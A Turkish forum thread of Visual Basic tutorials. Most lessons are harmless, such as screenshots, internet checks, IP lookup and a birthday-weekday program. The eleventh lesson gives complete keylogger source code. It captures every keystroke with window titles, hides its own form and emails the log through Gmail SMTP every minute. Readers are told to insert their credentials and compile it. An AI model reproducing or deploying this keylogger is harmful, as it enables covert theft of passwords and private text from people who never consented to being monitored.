kanon Eğitim(Yazılı)

kanonbat · 3 Şub 2013

1.Visual Basic 2010 Resource'ten Dosya Çıkarma ve Çalıştırma
Bu dersimizde Visual Basic 2010 Resource'ten dosya çıkarma ve çalıştırmayı öğrenelim.

1. Visual Basic 2010 açın.
2. Project > Propetries > Resources > Add Resources yapın ve dosyanızı ekleyin.

3.Bir buton ekleyin ve kod bölümünü açın.

4.Bu kodları yazın:

Kod:

Dim yol As String = Application.StartupPath & "uygulama.exe"
        IO.File.WriteAllBytes(yol, My.Resources.uygulamaadı)
        If IO.File.Exists(yol) Then Process.Start(yol)

Bu kodda resource'te bulunan dosyamızı programımızın çalıştığı yerde oluşturduk ve oluşturulan programı çalıştırdık.

=============================================================

2.İnternet Bağlantısını Kontrol Eden Program Yapmak
Bu dersimizde if yapısıyla internet var mı, yokmu, bunu kontrol eden bir program yapacağız.

Bir buton ekleyin ve click olayına şu kodları yazın:

Kod:

 If My.Computer.Network.IsAvailable = True Then
            MsgBox("İnternet Bağlantısı Var")
        Else
            MsgBox("İnternet Bağlantısı Yok")
        End If

Kolay gelsin.

=============================================================

3.Ekran Görüntü Çekme Programı
Bu dersimizde ekran görüntü çekme programı yapacağız.

Formumuza 2 adet buton, 1 adre Picture Box ekleyelim.

Form Load Kodu:

Kod:

MyBase.Load

Buton1, yani çek kodu:

Kod:

Dim bounds As Rectangle
        Dim screenshot As System.Drawing.Bitmap
        Dim graph As Graphics
        bounds = Screen.PrimaryScreen.Bounds
        screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
        graph = Graphics.FromImage(screenshot)
        graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
        PictureBox1.Image = screenshot

Buton 2, yani kaydet kodu:

Kod:

Dim savefiledialog1 As New SaveFileDialog
        Try
            savefiledialog1.Title = "Save File"
            savefiledialog1.FileName = "*.bmp"
            savefiledialog1.Filter = "Bitmap |*.bmp"
           If savefiledialog1.ShowDialog() = DialogResult.OK Then
                PictureBox1.Image.Save(savefiledialog1.FileName, System.Drawing.Imaging.ImageFormat.Bmp)
            End If
        Catch ex As Exception

        End Try

Kolay gelsin.

=============================================================

4.Reg Uzantılı Dosyaları Bat Olarak Çalıştırma
Visual Basic 6 Reg uzantıları shell komutuyla çalıştırılmaz. Bunun için bir yöntem var. Bu derste Visual Basic 6 programında reg uzantılarını bat olarak çalıştırmayı öğreneceğiz.

Not: Reg Uzantılı Dosyayı Windows klasörünün içine atın.

Gerekli Araçlar:
1. Not Defteri
2. Visual Basic 6

İlk olarak not defterini açalım ve şu kodları yazalım.
Farklı kaydetten windows klasörünün içine deneme.bat olarak atalım.

Kod:

Start
reg uzantılı dosyanın tam adı örn:şifre.reg
@echo off
echo Reg Uzantılı Dosya Açılıyor
exit

Ardından visual basic 6'yı açalım ve bir command buton ekleyelim. Command butonunun click olayına şu kodu yazalım:

Kod:

i = Shell("deneme.bat",3)

Kolay gelsin.

=============================================================

5.Sitelerin IP Adreslerini Bulma
Bu dersimde Visual Basic 6 kullanarak sitelerin IP'lerini bulan bir program hazırlayacağız.

İlk olarak formumuza 2 adet TextBox (Text), 1 adet Winsock, 1 adet Command Buton ekliyoruz.

Winsock eklemek için Components bölümünü kullanabilirsiniz.

Kodlara geçelim:

Command Butonun click olayına:

Kod:

Winsock1.Close
Winsock1.Connect Text1.Text, 80

Bu kodda Winsock'u kapatıp text1'e yazdığımız adresten https portu ile bağlanıyoruz.

Winsock connect koduna:

Kod:

Text2.Text = Winsock1.RemoteHostIP

Bu kodda text1'e yazdığımız adresin IP'sini Text2'de gösteriyoruz.

Kodlar bu kadar.

=============================================================

6.SendKeys Hile Yapımı
Bu dersimizde SendKeys ile bir hile uygulama programı yapmayı öğrenelim.

Gerekenler:
1. Buton
2. TextBox

Butonun Click olayına:

Kod:

My.Computer.Keyboard.SendKeys("{ENTER}", True)
        My.Computer.Keyboard.SendKeys(TextBox1.Text, True)
        My.Computer.Keyboard.SendKeys("{ENTER}", True)

TextBox'a yazılan hile oyunda çalışacak. Örneğin Age Of Empires 2'de çalışabilecek bir programdır.

=============================================================

7.MMS Player Kullanımı
Bu dersimde Visual Basic 6 kullanarak televizyon programı yapmak için kullandığımız mms kodlarını oynatan bir player yapmayı anlatacağım.

Formumuza Eklenecekler:

1. Media Player
2. TextBox(Text)
3. Command buton.

Kodlara geçelim. Kullanacağımız kod çok basit ve bir satırlık bir kod.

Command Buton'un click olayına:

Kod:

WindowsMediaPlayer1.URL = Text1.Text

Dersim bu kadar.

=============================================================

8.Video Bittiğinde Kodun Aktif Olması
Bu dersimizde media playerda biten videonun ardından kodun aktif olmasını sağlayacağız.

Formumuza Eklenecekler:
- 1 Tane Media Player
- 1 Tane Label
- 2 Tane Timer

Timerların Özellikleri
Enabled = True
Interval = 1000

Timer1'in kodu:

Kod:

Label1.Text = Label1.Text + 1

Timer2'nin kodu:

Kod:

If Label1.Text = "10" Then
            AxWindowsMediaPlayer1.Ctlcontrols.stop()
            MsgBox("kanon", MsgBoxStyle.Information)
        End If

Bu kodda Label1.Text = "10" Kodunda 10 yazan yere videonun saniye cinsinden uzunluğunu yazın.

Kodun işlevi media player 10 saniye olunca video duracak ve mesaj olarak sanal kurs yazacak.

Kolay gelsin.

=============================================================

9.IP Onarımı (Reboot Etme)
Visual Basic 6 kullanarak IP adresimizi yenilemeyi yani reboot etmeyi öğrenelim.

Lazım Olacak Araçlar:

1. Visual Basic 6
2. Not Defteri

Not Defterini açalım ve bu kodları yapıştıralım:

Kod:

@echo off 
echo Eski IP Siliniyor 
ipconfig /flushdns 
ipconfig /release 
echo IP Yenileniyor 
ipconfig /renew 
echo IP Adresiniz Başarıyla Yenilendi
exit

Ve farklı kaydetten ıp.bat olarak "C:WINDOWS" buraya kaydedelim.

Şimdi Visual Basic 6'ya girelim ve bir Command buton ekleyelim. Command butonun click olayına şu kodu yazalım:

Kod:

i = Shell("ıp.bat",3)
 MsgBox("Ip Yenileme Tamamlandı",vbInformation)

Kodlar bu kadar.

=============================================================

10.Hangi Gün Doğduğunu Bulmak
Bu derste Visual Basic 2008'de hangi günde doğduğunuzu bulabileceğiniz basit bir program yapalım.

Bu çalışma için bir buton yeterli olacaktır.

Buton'un Click olayına aşağıdaki kodları girin:

Kod:

Dim d_tarih, gun
        Do
            d_tarih = InputBox("Doğum Tarihinizi Giriniz :")

        Loop While Not IsDate(d_tarih)
        Select Case Weekday(d_tarih)
            Case 1 : gun = "Pazar"
            Case 2 : gun = "Pazartesi"
            Case 3 : gun = "Salı"
            Case 4 : gun = "Çarşamba"
            Case 5 : gun = "Perşembe"
            Case 6 : gun = "Cuma"
            Case 7 : gun = "Cumartesi"
        End Select
        MsgBox(gun & " Günü Doğmuşsunuz")

Kodu açıklarsak, yazdığınız tarihi hafta ve günlere göre sıralayarak bulup mesaj olarak gösteriyor.

kanonbat · 3 Şub 2013

Dersler Güncellendi

kanonbat · 3 Şub 2013

Logger

================================================== ===========

11.Logger Yapımı
1.Formu açın
2 adet text ekleyin 3 adet timer ekleyin
Timer1'in ıntervalını 5
Timer 2'nin ıntervalını 1000
Timer3'ün ıntervalını 60000 yapın

Text1 içini boşaltın yani yazı yazmasın

Kod:

PHP Kod:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean


Private Sub Form_Load()
On Error Resume Next
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"
ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"
ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub


Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function


Private Sub Timer1_Timer()
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next



'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow


If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next

';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next

'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next


'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If

'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
End Sub



Private Sub Timer3_Timer()
Dim iMsg, iConf, Flds
 On Error GoTo Son
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
 
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "gmail adresiniz"
Flds.Item(schema & "sendpassword") = "şifreniz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
 
With iMsg
.To = "gmail adresiniz"
.From = "Log"
.Subject = "Başlık"
.HTMLbOdy = Text1.Text
.Organization = "Coder Pro"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
Son:
End With
Text1.Text = ""
End Sub

bu kodları yapıştırın gmail ve şifre yerlerini düzenleyin.

formun visible ayarını false yapın
border stylesını fized yapın.

filedan make project yapın ve kaydedin
şimdi loggerınız oldu 1 dakikada bir size log gönderir

kanonbat · 3 Şub 2013

Log Dersi Eklendi

kanonbat · 4 Şub 2013

Arkadaşlar Yorum Yok Mu

kanonbat · 4 Şub 2013

+++++++

OguzKüLcü · 4 Şub 2013

Kardesim bunların %90nı forumda var.

kanonbat · 4 Şub 2013

eedit

kanon Eğitim(Yazılı)

kanonbat

Katılımcı Üye

kanonbat

Katılımcı Üye

kanonbat

Katılımcı Üye

kanonbat

Katılımcı Üye

kanonbat

Katılımcı Üye

kanonbat

Katılımcı Üye

OguzKüLcü

Katılımcı Üye

kanonbat

Katılımcı Üye

Sosyal medya sayfalarımız